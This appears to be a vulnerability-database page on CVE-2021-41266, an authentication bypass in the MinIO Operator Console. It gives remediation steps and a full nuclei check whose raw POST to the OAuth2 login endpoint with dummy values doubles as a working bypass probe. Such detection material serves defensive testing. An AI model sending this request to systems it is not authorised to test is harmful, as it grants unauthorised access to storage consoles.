Browse / CVEs / CVE-2021-41266
CVE-2021-41266· min / minio console· CWE-306
MinIO Operator Console Authentication Bypass
MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
Impact
An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.
Fix
Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.
How to confirm it
Send: POST /api/v1/login/oauth2/auth
Positive when: contains "sessionId" AND contains in header "token" AND status 201 or 200Run it with nuclei: nuclei -id CVE-2021-41266 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-41266
info:
name: MinIO Operator Console Authentication Bypass
author: alevsk
severity: critical
description: |
MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
impact: |
An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.
remediation: 'Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.'
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41266
- https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
- https://github.com/minio/console/pull/1217
- https://github.com/HimmelAward/Goby_POC
- https://github.com/StarCrossPortal/scalpel
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-41266
cwe-id: CWE-306
epss-score: 0.48134
epss-percentile: 0.98869
cpe: cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: min
product: minio_console
tags: cve2021,cve,minio,min,vkev,vuln
http:
- raw:
- |
POST /api/v1/login/oauth2/auth HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/json
{"code":"test","state":"test"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "sessionId"
- type: word
part: header
words:
- "token"
- type: status
status:
- 201
- 200
condition: orReferences
- https://nvd.nist.gov/vuln/detail/CVE-2021-41266
- https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
- https://github.com/minio/console/pull/1217
- https://github.com/HimmelAward/Goby_POC
- https://github.com/StarCrossPortal/scalpel
Use this check only on systems you are authorised to test. Where the data comes from